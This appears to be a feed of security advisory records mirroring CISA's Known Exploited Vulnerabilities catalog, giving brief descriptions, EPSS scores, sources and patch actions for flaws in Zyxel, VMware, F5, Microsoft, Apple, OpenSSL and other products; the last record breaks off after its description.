### Zyxel Multiple Firewalls OS Command Injection Vulnerability
https://kevwire.com/record/CVE-2022-30525
Zyxel Multiple Firewalls OS Command Injection Vulnerability (May 16, 2022).
A command injection vulnerability in the CGI program of some Zyxel firewall versions could allow an attacker to modify specific files and then execute some OS commands on a vulnerable device.
EPSS 99.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-30525&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-30525: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-30525&date=2026-10-25
CISA added this entry on 2022-05-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 16, 2022; federal due date Jun 6, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### VMware Spring Cloud Gateway Code Injection Vulnerability
https://kevwire.com/record/CVE-2022-22947
VMware Spring Cloud Gateway Code Injection Vulnerability (May 16, 2022).
Spring Cloud Gateway applications are vulnerable to a code injection attack when the Gateway Actuator endpoint is enabled, exposed and unsecured.
EPSS 98.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-22947&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-22947: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-22947&date=2026-10-25
CISA added this entry on 2022-05-16. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 16, 2022; federal due date Jun 6, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### F5 BIG-IP Missing Authentication Vulnerability
https://kevwire.com/record/CVE-2022-1388
F5 BIG-IP Missing Authentication Vulnerability (May 10, 2022).
F5 BIG-IP contains a missing authentication in critical function vulnerability which can allow for remote code execution, creation or deletion of files, or disabling services.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-1388&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-1388: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-1388&date=2026-10-25
CISA added this entry on 2022-05-10. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 10, 2022; federal due date May 31, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple Multiple Products Type Confusion Vulnerability
https://kevwire.com/record/CVE-2021-1789
Apple Multiple Products Type Confusion Vulnerability (May 4, 2022).
A type confusion issue affecting multiple Apple products allows processing of maliciously crafted web content, leading to arbitrary code execution.
EPSS 14.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-1789&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-1789: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-1789&date=2026-10-25
CISA added this entry on 2022-05-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 4, 2022; federal due date May 25, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Apple Multiple Products Type Confusion Vulnerability
https://kevwire.com/record/CVE-2019-8506
Apple Multiple Products Type Confusion Vulnerability (May 4, 2022).
A type confusion issue affecting multiple Apple products allows processing of maliciously crafted web content, leading to arbitrary code execution.
EPSS 16.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-8506&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-8506: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-8506&date=2026-10-25
CISA added this entry on 2022-05-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 4, 2022; federal due date May 25, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Win32k Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2014-4113
Microsoft Win32k Privilege Escalation Vulnerability (May 4, 2022).
Microsoft Win32k contains an unspecified vulnerability that allows for privilege escalation.
EPSS 86.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2014-4113&date=2026-10-25).
Sources:
CISA KEV entry CVE-2014-4113: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2014-4113&date=2026-10-25
CISA added this entry on 2022-05-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 4, 2022; federal due date May 25, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Internet Explorer Use-After-Free Vulnerability
https://kevwire.com/record/CVE-2014-0322
Microsoft Internet Explorer Use-After-Free Vulnerability (May 4, 2022).
Use-after-free vulnerability in Microsoft Internet Explorer allows remote attackers to execute code.
EPSS 85.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2014-0322&date=2026-10-25).
Sources:
CISA KEV entry CVE-2014-0322: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2014-0322&date=2026-10-25
CISA added this entry on 2022-05-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 4, 2022; federal due date May 25, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### OpenSSL Information Disclosure Vulnerability
https://kevwire.com/record/CVE-2014-0160
OpenSSL Information Disclosure Vulnerability (May 4, 2022).
The TLS and DTLS implementations in OpenSSL do not properly handle Heartbeat Extension packets, which allows remote attackers to obtain sensitive information.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2014-0160&date=2026-10-25).
Sources:
CISA KEV entry CVE-2014-0160: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2014-0160&date=2026-10-25
CISA added this entry on 2022-05-04. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added May 4, 2022; federal due date May 25, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### WSO2 Multiple Products Unrestrictive Upload of File Vulnerability
https://kevwire.com/record/CVE-2022-29464
WSO2 Multiple Products Unrestrictive Upload of File Vulnerability (Apr 25, 2022).
Multiple WSO2 products allow for unrestricted file upload, resulting in remote code execution.
EPSS 100.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-29464&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-29464: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-29464&date=2026-10-25
CISA added this entry on 2022-04-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 25, 2022; federal due date May 16, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows User Profile Service Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2022-26904
Microsoft Windows User Profile Service Privilege Escalation Vulnerability (Apr 25, 2022).
Microsoft Windows User Profile Service contains an unspecified vulnerability that allows for privilege escalation.
EPSS 16.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-26904&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-26904: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-26904&date=2026-10-25
CISA added this entry on 2022-04-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 25, 2022; federal due date May 16, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows User Profile Service Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2022-21919
Microsoft Windows User Profile Service Privilege Escalation Vulnerability (Apr 25, 2022).
Microsoft Windows User Profile Service contains an unspecified vulnerability that allows for privilege escalation.
EPSS 2.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-21919&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-21919: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-21919&date=2026-10-25
CISA added this entry on 2022-04-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 25, 2022; federal due date May 16, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Linux Kernel Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2022-0847
Linux Kernel Privilege Escalation Vulnerability (Apr 25, 2022).
Linux kernel contains an improper initialization vulnerability where an unprivileged local user could escalate their privileges on the system. This vulnerability has the moniker of "Dirty Pipe."
EPSS 92.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-0847&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-0847: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-0847&date=2026-10-25
CISA added this entry on 2022-04-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 25, 2022; federal due date May 16, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Win32k Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2021-41357
Microsoft Win32k Privilege Escalation Vulnerability (Apr 25, 2022).
Microsoft Win32k contains an unspecified vulnerability that allows for privilege escalation.
EPSS 1.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-41357&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-41357: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-41357&date=2026-10-25
CISA added this entry on 2022-04-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 25, 2022; federal due date May 16, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Win32k Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2021-40450
Microsoft Win32k Privilege Escalation Vulnerability (Apr 25, 2022).
Microsoft Win32k contains an unspecified vulnerability that allows for privilege escalation.
EPSS 1.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-40450&date=2026-10-25).
Sources:
CISA KEV entry CVE-2021-40450: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-40450&date=2026-10-25
CISA added this entry on 2022-04-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 25, 2022; federal due date May 16, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Jenkins Script Security Plugin Sandbox Bypass Vulnerability
https://kevwire.com/record/CVE-2019-1003029
Jenkins Script Security Plugin Sandbox Bypass Vulnerability (Apr 25, 2022).
Jenkins Script Security Plugin contains a protection mechanism failure, allowing an attacker to bypass the sandbox.
EPSS 74.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-1003029&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-1003029: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-1003029&date=2026-10-25
CISA added this entry on 2022-04-25. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 25, 2022; federal due date May 16, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Synacor Zimbra Collaboration Suite (ZCS) Cross-Site Scripting (XSS) Vulnerability
https://kevwire.com/record/CVE-2018-6882
Synacor Zimbra Collaboration Suite (ZCS) Cross-Site Scripting (XSS) Vulnerability (Apr 19, 2022).
Synacor Zimbra Collaboration Suite (ZCS) contains a cross-site scripting vulnerability that might allow remote attackers to inject arbitrary web script or HTML.
EPSS 29.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-6882&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-6882: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-6882&date=2026-10-25
CISA added this entry on 2022-04-19. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 19, 2022; federal due date May 10, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### WhatsApp VOIP Stack Buffer Overflow Vulnerability
https://kevwire.com/record/CVE-2019-3568
WhatsApp VOIP Stack Buffer Overflow Vulnerability (Apr 19, 2022).
A buffer overflow vulnerability in WhatsApp VOIP stack allowed remote code execution via specially crafted series of RTCP packets sent to a target phone number.
EPSS 30.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-3568&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-3568: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-3568&date=2026-10-25
CISA added this entry on 2022-04-19. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 19, 2022; federal due date May 10, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Microsoft Windows Print Spooler Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2022-22718
Microsoft Windows Print Spooler Privilege Escalation Vulnerability (Apr 19, 2022).
Microsoft Windows Print Spooler contains an unspecified vulnerability which allow for privilege escalation.
EPSS 18.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-22718&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-22718: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-22718&date=2026-10-25
CISA added this entry on 2022-04-19. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 19, 2022; federal due date May 10, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### VMware Multiple Products Privilege Escalation Vulnerability
https://kevwire.com/record/CVE-2022-22960
VMware Multiple Products Privilege Escalation Vulnerability (Apr 15, 2022).
VMware Workspace ONE Access, Identity Manager and vRealize Automation contain a privilege escalation vulnerability due to improper permissions in support scripts.
EPSS 35.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-22960&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-22960: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-22960&date=2026-10-25
CISA added this entry on 2022-04-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 15, 2022; federal due date May 6, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Google Chromium V8 Type Confusion Vulnerability
https://kevwire.com/record/CVE-2022-1364
Google Chromium V8 Type Confusion Vulnerability (Apr 15, 2022).
Google Chromium V8 Engine contains a type confusion vulnerability that allows a remote attacker to potentially exploit heap corruption via a crafted HTML page. This vulnerability could affect multiple web browsers that utilize Chromium, including, but not limited to, Google Chrome, Microsoft Edge, and Opera.
EPSS 13.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2022-1364&date=2026-10-25).
Sources:
CISA KEV entry CVE-2022-1364: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2022-1364&date=2026-10-25
CISA added this entry on 2022-04-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 15, 2022; federal due date May 6, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Crestron Multiple Products Command Injection Vulnerability
https://kevwire.com/record/CVE-2019-3929
Crestron Multiple Products Command Injection Vulnerability (Apr 15, 2022).
Multiple Crestron products are vulnerable to command injection via the file_transfer.cgi HTTP endpoint. A remote, unauthenticated attacker can use this vulnerability to execute operating system commands as root.
EPSS 99.0% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-3929&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-3929: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-3929&date=2026-10-25
CISA added this entry on 2022-04-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 15, 2022; federal due date May 6, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### D-Link DNS-320 Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2019-16057
D-Link DNS-320 Remote Code Execution Vulnerability (Apr 15, 2022).
The login_mgr.cgi script in D-Link DNS-320 is vulnerable to remote code execution.
EPSS 86.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2019-16057&date=2026-10-25).
Sources:
CISA KEV entry CVE-2019-16057: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2019-16057&date=2026-10-25
CISA added this entry on 2022-04-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: The impacted product is end-of-life and should be disconnected if still in use.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 15, 2022; federal due date May 6, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Schneider Electric U.motion Builder SQL Injection Vulnerability
https://kevwire.com/record/CVE-2018-7841
Schneider Electric U.motion Builder SQL Injection Vulnerability (Apr 15, 2022).
A SQL Injection vulnerability exists in U.motion Builder software which could cause unwanted code execution when an improper set of characters is entered.
EPSS 72.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2018-7841&date=2026-10-25).
Sources:
CISA KEV entry CVE-2018-7841: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2018-7841&date=2026-10-25
CISA added this entry on 2022-04-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: The impacted product is end-of-life and should be disconnected if still in use.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 15, 2022; federal due date May 6, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Trihedral VTScada (formerly VTS) Denial-of-Service Vulnerability
https://kevwire.com/record/CVE-2016-4523
Trihedral VTScada (formerly VTS) Denial-of-Service Vulnerability (Apr 15, 2022).
The WAP interface in Trihedral VTScada (formerly VTS) allows remote attackers to cause a denial-of-service (DoS).
EPSS 31.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-4523&date=2026-10-25).
Sources:
CISA KEV entry CVE-2016-4523: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-4523&date=2026-10-25
CISA added this entry on 2022-04-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 15, 2022; federal due date May 6, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### InduSoft Web Studio NTWebServer Directory Traversal Vulnerability
https://kevwire.com/record/CVE-2014-0780
InduSoft Web Studio NTWebServer Directory Traversal Vulnerability (Apr 15, 2022).
InduSoft Web Studio NTWebServer contains a directory traversal vulnerability that allows remote attackers to read administrative passwords in APP files, allowing for remote code execution.
EPSS 74.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2014-0780&date=2026-10-25).
Sources:
CISA KEV entry CVE-2014-0780: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2014-0780&date=2026-10-25
CISA added this entry on 2022-04-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 15, 2022; federal due date May 6, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Ubiquiti AirOS Command Injection Vulnerability
https://kevwire.com/record/CVE-2010-5330
Ubiquiti AirOS Command Injection Vulnerability (Apr 15, 2022).
Certain Ubiquiti devices contain a command injection vulnerability via a GET request to stainfo.cgi.
EPSS 40.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2010-5330&date=2026-10-25).
Sources:
CISA KEV entry CVE-2010-5330: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2010-5330&date=2026-10-25
CISA added this entry on 2022-04-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 15, 2022; federal due date May 6, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### Alcatel OmniPCX Enterprise Remote Code Execution Vulnerability
https://kevwire.com/record/CVE-2007-3010
Alcatel OmniPCX Enterprise Remote Code Execution Vulnerability (Apr 15, 2022).
masterCGI in the Unified Maintenance Tool in Alcatel OmniPCX Enterprise Communication Server allows remote attackers to execute arbitrary commands.
EPSS 97.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2007-3010&date=2026-10-25).
Sources:
CISA KEV entry CVE-2007-3010: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2007-3010&date=2026-10-25
CISA added this entry on 2022-04-15. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA.
Action: Apply updates per vendor instructions.
Kind: vulnerability; regions: Global; provenance: pipeline.
CISA added Apr 15, 2022; federal due date May 6, 2022. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z.

### VMware Workspace ONE Access and Identity Manager Server-Side Template Injection Vulnerability
https://kevwire.com/record/CVE-2022-22954
VMware Workspace ONE Access and Identity Manager Server-Side Template Injection Vulnerability (Apr 14, 2022).
VMware Workspace ONE Access and Identity Manager allow for remote code execution due to server-side template injection.
